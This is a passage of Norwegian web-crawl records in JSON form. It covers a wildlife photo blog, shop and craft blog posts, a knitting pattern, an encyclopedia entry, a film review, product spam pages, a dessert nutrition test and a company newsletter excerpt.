det d\u00e5rlige morgenlyset.  \n  \n\n\n\n  \nMen jeg fikk da i alle fall noen bra bilder av skarven der den flakset avg\u00e5rde.  \n  \n\n\n\n  \n\n\n  \nTi meter lengre bort gikk den inn for landing f\u00f8r den igjen fortsatte sin jakt p\u00e5 fisk. Men selen var helt borte.  \n  \n\n\n\n  \nKnut Riise  kl. \n\n Etiketter: sel, skarv, storskarv \n\n## onsdag 13. september 2017\n\n### Duer p\u00e5 en fj\u00f8l\n\n\n\n  \nOfte undervurdert fugler, men egentlig er de sv\u00e6rt vakre\\!\n\n  \n\n\n  \n\n\n Etiketter: duer \n\n \n\n## s\u00f8ndag 13. august 2017\n\n### En tidlig morgen\n\n\n\n  \nEn tidlig morgen ved \u00d8stensj\u00f8vannet ga ikke mange bilder denne gangen. Her ett av de f\u00e5 jeg ble ganske forn\u00f8yd med.  \n  \n\nKnut Riise  kl. \n\n17:05    2 kommentarer:        \n\n## onsdag 26. juli 2017\n\n### Morgenstemning\n\n\n\nEn tidlig morgentime mens svanefamilien enn\u00e5 sov.\n\n21:08    Ingen kommentarer:        \n\n## s\u00f8ndag 4. juni 2017\n\n### Mikkel Rev p\u00e5 bes\u00f8k\n\n\n\nFaktisk var det to rever jeg s\u00e5 i dag. Vesentlig forskjellig st\u00f8rrelse og p\u00e5 to forskjellige steder. Antar at bilde 1&4 er av en hunnrev og de to andre av en eldre hannrev.  \n  \n\n\n\n  \nOpdaget f\u00f8rst denne som gravde i gresset utenfor tomta v\u00e5r. Den var sikkert p\u00e5 jakt etter jordrotter som det er mange av der vi har hytta v\u00e5r.  \n  \n\n\n\n  \nDen luktet og snuste, - trolig p\u00e5 jakt etter mus og rotter. Det var tidlig p\u00e5 morgenen og gr\u00e5v\u00e6r s\u00e5 jeg m\u00e5tte opp i ISO6400 og bildene ble tatt gjennom glasset i vinduene i stuen.\n\n  \nF\u00f8rste og siste bilde ble tatt fra en biltur jeg tok, - egentlig p\u00e5 jakt etter fugler. S\u00e5 b\u00e5de trane, tjeld, \u00e6rfugl og viper, men det ble ingen gode bilder av disse.\n\n  \n\n\n## l\u00f8rdag 20. mai 2017\n\n### G\u00e5sunger ved Kolbotnvannet\n\n\n\n  \nJeg m\u00f8tte tre stolte Gr\u00e5g\u00e5s par i g\u00e5r ved Kolbotnvannet i Oppeg\u00e5rd kommune. Hver seg hadde de to unger som de var \"p\u00e5 tur\" med. Jeg sto plassert litt over de p\u00e5 en bakkekam og betraktet de der de ankom land.  \n  \nDe holdt et voktende \u00f8ye p\u00e5 meg hele tiden for de f\u00f8lte seg ikke trygge der jeg satt p\u00e5 huk for \u00e5 ta bilder av de.  \n  \nG\u00f8y \u00e5 se at naturen lever og at enda et kull er sikret. H\u00e5per bare at de klarer seg gjennom sommeren og vokser seg store og sterkere.  \n  \n\n\n\n  \n\n\n10:56    Ingen kommentarer:        \n## l\u00f8rdag 13. mai 2017\n\n### Fugler i mai\n\n\n\n  \nDet blir s\u00e5 altfor lite tid til \u00e5 fotografere og blogge om mine store interesser. Jeg t\u00f8mte minnebrikka i dag og samler her noen fuglebilder jeg har tatt i mai.  \n  \nOver et bilde av en Gravand i K\u00e4mpersvik i Bohusl\u00e4n. Den er sjelden her, - faktisk f\u00f8rste gangen jeg ser den. Dessverre var den for langt fra land p\u00e5 en trist gr\u00e5v\u00e6rsdag til at jeg fikk gode bilder. En hannfugl dette som ogs\u00e5 har den r\u00f8d knoppen ved nebbroten.  \n  \n\n\n\n  \nSvanene har begynt \u00e5 lage reir. Denne samlet pinner og gress.  \n  \n\n\n\n  \nEn Gr\u00e5trost med rede oppe i et tre.  \n  \n\n\n\n  \nEn praktfull Stokkand.  \n  \n\n\n\n  \nEn due som tok seg en hvilepause p\u00e5 en trestamme.  \n  \n\n\n\n  \nEn kj\u00f8ttmeis hadde rede i nabotreet til Gr\u00e5trosten.  \n  \n\n\n\n  \nGr\u00e5trosten fulgte meg skeptisk p\u00e5 avstand.  \n  \n\n Lagt inn av  \n17:01    Ingen kommentarer:        \n\n## s\u00f8ndag 23. april 2017\n\n### R\u00f8dstrupen\n\n\n\nEn enslig r\u00f8dstrupe bes\u00f8ker oss jevnlig. I alle fall tror jeg den er enslig, - men kanskje er den andre, - hann eller hunn, hjemme eller \u00a0s\u00e5 er det mer vanlig at r\u00f8dstrupene er enslige.  \n  \nDen ser litt ensom ut, men som mennesker er ogs\u00e5 fuglene forskjellige. Noen sv\u00e6rt sosiale og andre mer ensomme streifere.  \n  \n\n\n\n  \n10:05    2 kommentarer:        \n\n Etiketter: Nikkor 80-400mm, NikonD500, r\u00f8dstrupe \n\n \n## mandag 17. april 2017\n\n### Kampen om bukta\n\n\n\n  \nVed b\u00e5thavna er det en bukt/vik hvor det hver eneste sommer er en kamp om revir. Det er ett hettem\u00e5kepar, ett sildem\u00e5kepar og ett par med tjeld. I tillegg ogs\u00e5 et svanepar.  \n  \nI dag tok jeg meg en tur forbi bukta og de var der alle med unntak av svaneparet og kranglingen var i gang hver gang de kom hverandre for n\u00e6re.  \n  \nN\u00e5r jeg tenker etter, s\u00e5 er det bare svanene som jeg har sett med unger, men n\u00e5 er vi p\u00e5 hytta bare i noen helger n\u00e5 og da, s\u00e5 de andre kan ogs\u00e5 ha f\u00e5tt barn. Men jeg har sett at m\u00e5kene angriper fra luften \u00a0svanene med unger og jeg har sett svanefar g\u00e5 til angrep p\u00e5 noen \u00e6rfuglunger som kom p\u00e5 bes\u00f8k i havna.  \n  \nS\u00e5 det skal bli spennende \u00e5 f\u00f8lge med og se hva som skjer i \u00e5r.  \n  \n\n\n\n  \n\n\n## s\u00f8ndag 16. april 2017\n\n### Morgenstemning\n\n\n\n  \nNoen bilder fra en veldig tidlig morgentur. M\u00e5tte opp i ISO4000 for \u00e5 f\u00e5 korte nok lukkertider og selv da skulle jeg gjerne hatt litt bedre lys. Men det var en fin tur\\!  \n  \n\n\n\n  \n\n\n", "language": "no", "__index_level_0__": "13781b76-3e03-4278-b0ff-8c6b7684bff3"}
{"url": "http://www.scrappekjelleren.no/2013/03/oppe-igjen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00416.warc.gz", "warc_date": "2018-03-24T23:17:19Z", "text": "\n\n## Viktig info\\!\\!\n\nScrappekjelleren holder til like i n\u00e6rheten av Sk\u00e5reheimen og Sk\u00e5re FUS barnehage p\u00e5 Gard.  \n**Adresse; Are Frodes veg 7 B, 5518 Haugesund.**\n\n    \n\n## fredag 15. mars 2013\n\n### Oppe igjen\\!\n\nEtter\u00a0nesten 48 timer uten\u00a0fungerende\u00a0telefon og\u00a0betalingsterminal,\n\ner\u00a0problemene fikset\\!\\!\n\n\u00a0\nN\u00e5 kan dere betale med kort i butikken igjen\\!\\! =)\n\nDere kan ogs\u00e5 ringe dersom dere lurer p\u00e5 noe.\n\n\u00a0\n\n\u00d8nsker alle sammen en riktig fin helg.\n\n\u00a0\nHer pakkes det opp varer,\u00a0\n\ns\u00e5 ta gjerne turen innom. =)\n\n\u00a0\n", "language": "no", "__index_level_0__": "8e1f5a17-3da2-494a-a70c-b692a25bd47b"}
{"url": "http://heimskringla.no/wiki/Spesial:Relaterte_endringer/Bli_en_Heimskringla-venn", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:48:52Z", "text": "#### 24\\. mar. 2018\n\n| ----- | -------------------------------------------------------------------------------------------- |\n| 09:30 | Become a friend of Heimskringla\u200e (diff | hist) . . (+39)\u200e . . JJ.Sandal (diskusjon | bidrag) |\n\n| ----- | ------------------------------------------------------------------------------------- |\n| 09:29 | Bli en Heimskringla-venn\u200e (diff | hist) . . (+39)\u200e . . JJ.Sandal (diskusjon | bidrag) |\n\n  \nHEIMSKRINGLA er et privat initiativ. Prosjektet mottar ikke noen form for offentlig st\u00f8tte. Vi har kun utgifter og ingen faste inntekter. Kostnader til teknisk drift og utstyr b\u00e6res av privatpersoner. Alle \u00f8konomiske bidrag mottas derfor med stor takk. \u00d8nsker du eller ditt foretak \u00e5 st\u00f8tte prosjektet \u00f8konomisk? Ta gjerne kontakt med oss, eller bruk v\u00e5rt norske kontonummer 97105024499. Du kan ogs\u00e5 st\u00f8tte oss via v\u00e5rt Vipps-nummer 78431. For utenlandske bidrag bruk v\u00e5rt IBAN-nummer NO6897105024499, med SWIFT-kode: DNBANOKK eller SEPA-kode: SKIANOBB. En kan ogs\u00e5 overf\u00f8re penger til HEIMSKRINGLA via PayPal eller vippse via mobilen til 78431. Vi selger ogs\u00e5 fast annonseplass p\u00e5 venstre sidemeny til rimelig pris. Alle bidragsytere krediteres med navn for sine bidrag.\n\n", "language": "no", "__index_level_0__": "151de96e-5406-44ae-a8b5-ac9fe36b7b57"}
{"url": "https://sml.snl.no/presymptomatisk_diagnostikk", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:52:35Z", "text": "# presymptomatisk diagnostikk\n\n    pr\u02c8esymptomatisk diagnostikk\n\nPresymptomatisk diagnostikk, diagnostikk f\u00f8r sykdom bryter ut. Brukes i forbindelse med arvelige sykdommer som har sen debut, som Huntingtons chorea. Slik diagnostikk kan utf\u00f8res ved gentester eller ved unders\u00f8kelser av fenotypiske forandringer, f.eks. forandringer i \u00f8yebunnen hos pasienter med *polyposis coli* (arvelig polyppdannelse som gir tykktarmskreft). Presymptomatisk diagnostikk ved arvelige tilstander er regulert av bioteknologiloven.\n\n", "language": "no", "__index_level_0__": "cd39e8e9-a51d-4324-8837-09d22cc9ce1f"}
{"url": "https://skappelstrikk.no/bli-med-pa-prosjektet/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00353.warc.gz", "warc_date": "2018-03-24T23:45:13Z", "text": "\n\n# Bli med p\u00e5 prosjektet?\n\n\n\nEtter en kjempe respons p\u00e5 dette instagrambildet forsto jeg at mange av dere\u00a0ville sette i gang med prosjektet s\u00e5 fort som mulig. Jeg har valgt \u00e5 kalle den kommende modellen \"Pinkyswear\".\n\nJeg er ikke ferdig med denne genseren selv, men tenkte at jeg kunne legge ut deler av oppskriften etter hvert som prosjektet utvikler seg\\!\n\nDet er ogs\u00e5 super g\u00f8y hvis dere improviserer og lager deres egen vri, s\u00e5 kan vi bruke hashtaggen **\\#ProsjektSKAPPEL** og dele hvor langt vi er p\u00e5 vei og finne inspirasjon i hverandres prosjekter\\!\n\nGarnkombinasjonen jeg har brukt:\n\nMYK 3511 Pudder rosa og Mini Alpakka 4313 Pudder rosa.\n\nJeg vet ikke enda hvor mye garn det g\u00e5r til denne genseren, men jeg regner med at dere trenger hvertfall 9 n\u00f8ster av hver kvalitet til plagget. Dere kan selvf\u00f8lgelig etterbestille dersom dere trenger det\\!\n\nDere kan kj\u00f8pe garnet HER\n\nHilsen Marthe Skappel\n\n## \n\n\n\n\n\n##### **Pinkyswear**\n\n## DEL 1 av oppskriften\n\n**Ermer:**\n\n*Legg opp 33 masker p\u00e5 pinne nr. 7 lengde 40 cm.*\n\n*1. pinne: Strikk 1 rettmaske og 1 vrangmaske ut pinnen.*\n\n*2. pinne: Snu og gjenta 1 vrangmaske over vrangmaske, 1 rettmaske over rettmaske ut pinnen.*\n\n*Gjenta 1. og 2. Pinne til arbeidet m\u00e5ler 8 cm = vrangbord.*\n\n*Du skal n\u00e5 strikke rettmasker p\u00e5 rettsiden av arbeidet, og vrangmasker p\u00e5 vrangsiden av arbeidet, og \u00f8ke til puffermer p\u00e5 f\u00f8lgende m\u00e5te:*\n\n*Strikk 2 rettmasker og lag en ny maske mellom to masker. Gjenta dette ut pinnen (= 2 masker, 1 ny maske, 2 masker, 1 ny maske osv.) Avslutt med 3 rettmasker. Du har n\u00e5 \u00f8kt 15 masker. Snu og strikk en lengde vrangmasker tilbake.*\n\n*Snu og strikk 2 masker og lag s\u00e5 en ny maske. Gjenta dette ut pinnen, avslutt med 2 rettmasker. Du har n\u00e5 \u00f8kt med 23 masker og har 71 masker p\u00e5 pinnen.*\n\n*Du skal n\u00e5 starte \u00e5 strikke rundt og rundt p\u00e5 pinnen.*\n\n*Strikk 25 rettmasker, strikk 3 vrangmasker, strikk 15 rettmasker, strikk 3 vrangmasker, strikk 25 rettmasker. Sett p\u00e5 en startfargel\u00f8kke og fortsett \u00e5 strikke rundt og rundt oppover i arbeidet, rettmasker over rettmasker og vrangmasker over vrangmasker.*\n\n*N\u00e5r du har strikket 5 runder fra der du startet \u00e5 strikke rundt og rundt, skal du starte p\u00e5 flette og felling p\u00e5 f\u00f8lgende m\u00e5te:*\n\n*\\* Strikk videre 5 runder rettmasker over rettmasker, vrangmasker over vrangmasker. Strikk 25 masker, 3 masker vrang, l\u00f8ft 5 masker over p\u00e5 en hjelpepinne som du lar henge p\u00e5 **forsiden** av arbeidet. Strikk 5 rettmasker, strikk s\u00e5 de 5 maskene p\u00e5 hjelpepinnen rett, strikk 5 rettmasker. Strikk 3 vrangmasker. Strikk 21 rettmasker, strikk 2 masker sammen, strikk to rettmasker. L\u00f8ft over startfargel\u00f8kken. Strikk to rettmasker, strikk to masker sammen.*\n\n*Fortsett \u00e5 strikke rundt og rundt p\u00e5 pinnen, rettmasker over rettmasker, vrangmasker over vrangmasker.*\n\n*N\u00e5r du har strikket 5 runder, strikk 24 masker, 3 vrangmasker, 5 rettmasker, l\u00f8ft 5 masker over p\u00e5 hjelpepinne som du lar henge p\u00e5 **baksiden** av arbeidet. Strikk 5 rettmasker, strikk s\u00e5 de 5 maskene fra hjelpepinnen rett. Strikk 3 vrangmasker. Strikk 24 masker rettmasker. Du er n\u00e5 tilbake ved startfargel\u00f8kken. \\**\n\n*Gjenta \\* \u2013\\> \\* og fell hver 10 omgang p\u00e5 hver side av fargel\u00f8kken oppover i arbeidet. (det felles hver gang du lager til flette og lar hjelpepinnen henge p\u00e5 **forsiden** av arbeidet).*\n\n*Fortsett slik, til du har felt 4 ganger med 10 runder mellom hver felling. Fra n\u00e5 av skal du felle hver 5 omgang oppover i arbeidet. Dette gj\u00f8r du til du har felt totalt 10 ganger oppover i arbeidet fra vrangborden, og har totalt 51 masker p\u00e5 pinnen.*\n\n*Strikk en runde rettmasker, til 5 masker gjenst\u00e5r f\u00f8r startfargel\u00f8kken. Fell disse 5 maskene, ta av startfargel\u00f8kken og fell 5 masker etter startfargel\u00f8kken = 10 masker felt til ermehull.*\n\n*Neste erme strikkes p\u00e5 samme m\u00e5te.\u00a0*\n\n", "language": "no", "__index_level_0__": "a4337d86-f6c5-43d2-b35c-38506391f974"}
{"url": "http://dvd-world.biz/filmblogg/?p=26066", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:24:37Z", "text": "# Captain Charismas Filmblogg\n\n# House of Last Things (2013)\n\n\n\nNoe rart begynner \u00e5 skje med personene som passer p\u00e5 et hus for et ektepar som befinner seg i Italia.\n\nF\u00f8lelsen av billig, det er det ordet jeg forbinder med House of Last Things. Filmen har egentlig en grei historie \u00e5 fortelle, men utf\u00f8relsen er dessverre ikke s\u00e6rlig god.\n\nSkuespillerne er elendige, filmmusikken passer ikke inn i det hele tatt. Det er litt mystikk i starten, men redigeringen \u00f8delegger det ganske tidlig med sin ujevne rytme.\n\nMot slutten kommer sannheten frem. House of Last Things forteller en s\u00e5r og vond historie som er ganske interessant, men det ble for meg vanskelig \u00e5 sette puslebitene p\u00e5 plass.\n\nDet mest kvalme med filmen er mye av dialogen, spesielt dialogen mellom ekteparet. Mannen er en elendig skuespiller, og skuespillerinnen som spiller hans kone har et j\u00e6vla kvalmt tryne som er helt \u00f8delagt av kosmetiske operasjoner. N\u00e6rbildene av henne gjorde at jeg nesten ville rive ut mine egne \u00f8yne slik at jeg slapp \u00e5 se henne mer, men s\u00e5 fant jeg ut at da m\u00e5tte jeg ogs\u00e5 gj\u00f8re noe med minnet mitt, s\u00e5 det endte bare opp med at jeg holdt \u00f8ynene lukket n\u00e5r den stygge kjerringa viste sitt stygge tryne p\u00e5 skjermen.\n\nHouse of Last Things kunne ha v\u00e6rt en grei film, men resultatet har blitt en film man f\u00e5r litt vondt i hodet av. Noen gode ideer er det her, men det er s\u00e5 mange negative ting som blir tungen p\u00e5 vektsk\u00e5len.\n\n\n\n", "language": "no", "__index_level_0__": "d11f91d1-a833-4618-828a-48e62a8f3b75"}
{"url": "http://www.crown-intelligence.com/a8115-h%C3%B8ykvalitets-abercrombie-fitch-kaela-ned-vester-navyabercrombie-jakkeabercrombie-fitch-jeansshopping-spree-p-4415.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:43:07Z", "text": "**abercrombie & fitch norge salg A\\&F Abercrombie Dame Ned Vester , A8115 H\u00f8ykvalitets Abercrombie Fitch Kaela Ned Vester Navy,abercrombie jakke,abercrombie & fitch jeans,Shopping Spree abercrombie & fitch butikk i stockholm,Vogue**  \nDet er mange kraften v\u00e6re plass innen design av disse Abercrombie og Fitch kl\u00e6r som ogs\u00e5 er et symbol p\u00e5 edel.  \nKomfortabel Abercrombie og Fitch kl\u00e6r er veldig viktig for oss alle, Abercrombie og Fitch Kl\u00e6r er en av de mest anerkjente merkevarene i verden av dagens moter.  \nDisse Abercrombie Fitch Kaela Dunvester Navy kan tilfredsstille \u00f8nske om mote.  \n\n  \n\n", "language": "no", "__index_level_0__": "e991b5ee-e04b-4b8b-89e1-8abadb516d62"}
{"url": "http://bikubenblogg.blogspot.no/2014/08/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:13:55Z", "text": "    \n\n## onsdag 20. august 2014\n\n### Kurs med Lala Land's Irina Blount\\!\n\n\n\n  \nHils p\u00e5 Irina Blount\\! Hun og mannen driver La-La Land Crafts som designer og produserer b\u00e5de stempler og veldig gode dies.\u00a0 De har ogs\u00e5 en del fine bokser, tusj holdere osv. i tynt tremateriale.\u00a0 (du kan se de p\u00e5\u00a0www.bikuben.com) Irina lager de vakreste kort og kreasjoner\\! Detaljerte og flotte.\u00a0Og endelig kommer Irina og mannen hit for \u00e5 holde kurs med deres produkter og dele sin kreativitet med oss. (kursene holdes p\u00e5 engelsk)\n\n  \nInfo om kursene, priser og slikt finner du p\u00e5 v\u00e5r hovedside. Kunne du tenke deg \u00e5 v\u00e6re med, send en mail til email@example.com.\n\n  \n**Velkommen p\u00e5 kurs\\!\u00a0**\n\n  \n\nYasmin  kl. \n18:54    Ingen kommentarer:        \n\n## tirsdag 19. august 2014\n\n### Inspirasjon fra Tove Strand Bj\u00f8rgan.\n\nTove Strand Bj\u00f8rgan har laget et skikkelig sommerlig kort som tar oss rett tilbake\n\ntil de late dagene p\u00e5 stranda\\! Hun har brukt de flotte arkene fra\n\nBy the Sea serien til Graphic45 og diesene til Magnolia som man finner\n\n\n\n\n\nSe s\u00e5 stilig b\u00f8lgene blir med embossing\\!\n\n\n\nDet er p\u00e5 \"sj\u00f8gresset\" det er benyttet kaffefilter for \u00e5 f\u00e5 tynt fint papir.\n\nDet flotte skjellet har f\u00e5tt litt farge langs kantene med Distress puta-\n\nTattered Rose.\n\n\u00a0\n16:23    Ingen kommentarer:        \n\n## fredag 15. august 2014\n\n### Copic Kurs og Demo'er\\!\n\nCopic Siv kommer til oss utover h\u00f8sten og skal holde en mengder med demo'er og kurs\\! For utfyllende informasjon om kursene ta en titt p\u00e5 v\u00e5r hovedside. Der finner du all informasjon du trenger \u00e5 vite om kursene og hvordan man melder seg p\u00e5.  \n  \n\n\n\n  \n## tirsdag 12. august 2014\n\n### Siv fra Copic Markers Norge kommer til oss\\!\n\n\n\n  \n16:14    Ingen kommentarer:        \n\n## fredag 8. august 2014\n\n### Hele 7 nydelige kort med stempler fra My besties\\!\n\nAnne Smeby Hagen har v\u00e6rt veldig produktiv og laget mange nydelige kort til oss med\n\nstemplene fra My Besties\\! Under hvert kort ser du hvilke Copic tusjer hun har brukt.\n\n\u00a0\nPrimrose Polly\n\n\n\nHud: E000-00-21-11-93\n\nH\u00e5r: E44-43-42-41\n\nBrun: E77-74-71-70\n\nBl\u00e5: B97-95-93-91\n\n\u00a0\nRain or Shine\n\n\n\nHud: E000-00-21-93\n\nH\u00e5r: E44-43-42-41\n\nLilla: RV95-93-91-000\n\nTurkis:BG72-(71 selvlaget) 70-10\n\n\nHud: E000-00-21-11-93\n\nH\u00e5r: E44-43-42-41\n\nLilla: RV95-93-91-000\n\nSko: N3-1-0\n\nTurkis: BG72-(71)-70-10\n\nMilly Mae\n\n\n\nHud: E000-00-21-11-93\n\nH\u00e5r: E57-55-53-51\n\nBrun: E79-77-74-71-70\n\nBl\u00e5: B97-95-93-91\n\n\u00a0\n\nHer kan du finne alle de flotte stemplene:\n\nhttp://www.bikuben.com/sok/?q=My+besties\n\n\u00a0\n15:42    1 kommentar:        \n\n## tirsdag 5. august 2014\n\n### Tim Holtz med inspirasjon fra de nye stensilene og stempelplatene\n\nTa en titt p\u00e5 denne fine videoen der Tim Holtz g\u00e5r igjennom alle de\n\nfine nye stempelplatene og stensilene. I tillegg f\u00e5r du se mange fine kort\\!\n\nGod forn\u00f8yelse\\!\n\n\u00a0\n\n", "language": "no", "__index_level_0__": "f3d78d0e-e303-4646-8609-81dcd255fc73"}
{"url": "http://www.thepardonblog.com/asics-gelgame-menn-sneakers-sportskoasics-piggsko-piggerasics-gel-lyte-3-bootnye-produkter-p-6748.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:42:24Z", "text": "materiale: syntetisk. syntetisk materiale er et samlingsnavn p\u00e5 kunstlagde materialer som ikke kommer fra dyr og natur. materiale: tekstil. tekstil er et samlingsnavn for tekstilfibre, det vil si materialer av ulike slags t\u00f8y. ytre s\u00e5le i syntetisk materiale. inners\u00e5ler som kan tas ut, praktisk og hygienisk. viktig hvis du har en egen, spesialformet inners\u00e5le.\n\n", "language": "no", "__index_level_0__": "8102d8cd-3377-431e-9b55-2a2c7e2aa4ef"}
{"url": "http://www.klikk.no/helse/kosthold/tester/test-av-lunsj-i-beger-3606175", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:46:31Z", "text": "# Vi tester riskrem og yoghurt\n\n### Se hvilke som er sunnest - og om de smaker noe godt.\n\n\n\n  Av Gunn Helene Arsky, ern\u00e6ringsfysiolog cand. scient.     Av Gunn Helene Arsky, ern\u00e6ringsfysiolog cand. scient.  \n\nPublisert 02.12.10  Oppdatert 02.12.10 \n\n## Testeren: Gunn Helene Arsky\n\n**Gunn Helene Arsky** er utdannet ern\u00e6ringsfysiolog cand.scient. fra Universitetet i Oslo.\n\nArsky har utgitt flere b\u00f8ker om helse og ern\u00e6ring og er ern\u00e6ringsekspert i bladet Bedre Helse.\n\nHun har v\u00e6rt tillitsvalgt i Norges diabetesforbund og var leder for Norsk Selskap for Ern\u00e6ring i flere \u00e5r, f\u00f8r hun n\u00e5 sitter i Fondsstyret deres.\n\nHun har undervist ved Universitetet i Oslo, Idrettsh\u00f8yskolen og Atlantis Medisinske H\u00f8yskole i en \u00e5rrekke. I tillegg har hun v\u00e6rt vektr\u00e5dgiver i flere nettvektklubber.\n\n## Hva betyr karakterene?\n\nDessertene har f\u00e5tt karakterer mellom 1 og 6, der 6 er et sv\u00e6rt godt kj\u00f8p innen ferdigdesserter, mens 1 er et sv\u00e6rt d\u00e5rlig kj\u00f8p innen ferdigdesserter.\n\n6 betyr dermed ikke at desserten er sunnere enn grovt br\u00f8d eller frukt, for eksempel\\!\n\n**Karakterene er i hovedsak gitt p\u00e5 bakgrunn av kalorier per porsjon (under 160 er bra, over 230 er d\u00e5rlig), mengde fett per 100 g (under 6 g er bra, over 9 g er d\u00e5rlig) og mengde tilsatt sukker per 100 g (under 10 g er bra, over 14 g er d\u00e5rlig).**\n\nF\u00e5 tilsetningsstoffer er et pluss.\n\n*Smaken er kun vurdert for de tre som kommer best ut, ellers er dette en ren n\u00e6ringsvurdering ut fra det som oppgis p\u00e5 emballasjen.*\n\n*Produktene er kj\u00f8pt inn torsdag 4.11.2010 ved bes\u00f8k p\u00e5 Meny CC Vest, Coop Prix Lilleaker og Rema 1000 Lysejordet.*\n\n### Denne m\u00fcslien er sunnest\n\n\n### Stor test av lettbrus\n\n \n\n\n### Dette er den sunneste p\u00f8lsa\n\n \n\n**Vi har her gjort en vurdering av n\u00e6ringsinnholdet i et utvalg av riskremer, rislunsjer og yoghurter.**\n\nGrunnen til at vi har samlet disse i en gruppe, er at de i tillegg til \u00e5 presenteres som dessert p\u00e5 hjemmesiden til produktene, ogs\u00e5 markedsf\u00f8res som smart turmat eller sm\u00e5 mellomm\u00e5ltider.\n\nDet er da heller ingen totale katastrofer i denne gruppen, de f\u00e5r jevnt over ganske ok karakterer. Men for \u00e5 v\u00e6re et fullgodt mellomm\u00e5ltid, b\u00f8r nok sukkerinnholdet v\u00e6re betydelig lavere enn det er i disse dessertene.\n\nI tillegg til \u00e5 se p\u00e5 n\u00e6ringsinnholdet har vi gjort en smaksvurdering av de tre som kommer best ut ern\u00e6ringsmessig.\n\nPiano Riskrem Bringeb\u00e6rsaus **f\u00e5r full score, 6 av 6 for n\u00e6ringsinnhold, men smaksdommen er ikke like n\u00e5dig - for l\u00f8s konsistens og syntetisk smak p\u00e5 sausen, mener gourmetsmaker og vinekspert Arnie Stalheim.**\n\nPiano Rislunsj Jordb\u00e6r og Kos Riskrem med Bj\u00f8rneb\u00e6rsaus f\u00e5r begge karakteren 4 for n\u00e6ringsinnhold. Av de to kommer Piano Rislunsj med jordb\u00e6r i tillegg best ut smaksmessig - 5 av 6 poeng. Passe s\u00f8t, fin konsistens og naturlig smak p\u00e5 sausen, lyder dommen.\n\n#### N\u00e6ringsinnhold og ingredienser\n\nDet er sl\u00e5ende hvor like de ulike dessertproduktene faktisk er, de inneholder jevnt over fl\u00f8te, helmelk, sukker og egg/eggepulver.\n\nDermed er det ikke s\u00e5 kjempemye som skiller dem p\u00e5 n\u00e6ringsinnholdet, vi snakker alts\u00e5 sm\u00e5 forskjeller. Men om du er interessert i kalorier, s\u00e5 finner du lett ut hvilken porsjon som gir deg minst energi - vi har regnet dette om for deg.\n\n**P\u00e5 samme m\u00e5te kan du finne ut hvilket produkt som inneholder minst og mest tilsatt sukker, minst og mest fett og minst og mest protein.**\n\nMange av dessertene er tilsatt tilsetningsstoffer som skal gj\u00f8re at puddingen eller kremen ikke skiller seg, at fargen er jevn og pen, at smaken er god og at produktet holder seg lenge. Velg produkter uten slike stoffer dersom du \u00f8nsker en mer hjemmelaget, ren dessert.\n\nVi har ogs\u00e5 oppgitt de tre f\u00f8rste ingrediensene i produktet. Dette er de ingrediensene det er mest av.\n\nVi har kj\u00f8pt alle variantene vi kom over og er klar over at det kan mangle noen smaker.\n\n", "language": "no", "__index_level_0__": "94539e8d-3658-4c0f-b2e9-1305bfdbcb83"}
{"url": "http://docplayer.me/464049-Slovag-posten-god-sommar.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:17:01Z", "text": "\n\n3 Johny Birkeland Transport Ein del av Septik24 gruppa ISO sertifisert og rusta for framtida\\! I oktober i 2010 vart Johny Birkeland Transport AS (JBT) sertifisert i samsvar med ISO standard 9001:2008 kvalitetssystem og ISO 14001:2004 milj\u00f8styringssystem. Dette er eit stort l\u00f8ft og ein investering for bedrifta og bidrar til at JBT styrkjer si konkurransekraft i framtidige anbod og kundeoppdrag. Med ein ISO sertifisering er bedrifta godt rusta for framtida. Ein ISO (International Organization for Standardization) er ein 3. parts sertifisering etter internasjonale krav og standard for god kvalitetsstyring og milj\u00f8styring av bedrifter. Eit ISO 9001-sertifikat viser at kvalitetsstyringssystemet er sertifisert etter standarden for god kvalitetsstyring og er funne \u00e5 vere i tr\u00e5d med den. Sertifiseringa blir utf\u00f8rt av ein uavhengig tredjepart, og dette viser kundane at dei kan stole p\u00e5 at bedrifta har innf\u00f8rt n\u00f8dvendige interne rutinar. JBT er sertifisert av Teknologisk Institutt (TI). ISO standarden er prosessorientert og har fokus p\u00e5 kontinuerleg forbetring og forn\u00f8yde kundar. Den er opptatt av alle arbeidsoppg\u00e5ver i bedrifta som p\u00e5verkar kvalitet, er styrt og kontrollert. Kvalitet er \u00e5 leverer den varen eller tenesta som dekke kunden sine behov og krav. Gjennom eit heilt \u00e5r har bedrifta f\u00f8rebudd seg til \u00e5 etterleve ISO krav innan milj\u00f8, kvalitet og HMS, og dokumentere god styring og kontroll p\u00e5 bedrifta sine aktivitetar. Gjennom heile dette \u00e5ret har JBT hatt hjelp fr\u00e5 kvalitet- og HMS r\u00e5dgjeverar fr\u00e5 Wergeland Bedriftsutvikling AS i utvikling av prosedyrar, oppl\u00e6ring av tilsette og systemutvikling. Bj\u00f8rn Garlimo og Kjersti Brakstad har gjennomf\u00f8rt blant anna milj\u00f8kartlegging, risikokartlegging og utf\u00f8rt interne revisjonar. Bedrifta har gjennom sitt elektroniske EQS databasesystem, f\u00e5tt eit verkt\u00f8y som gir alle tilgang til bedrifta sine 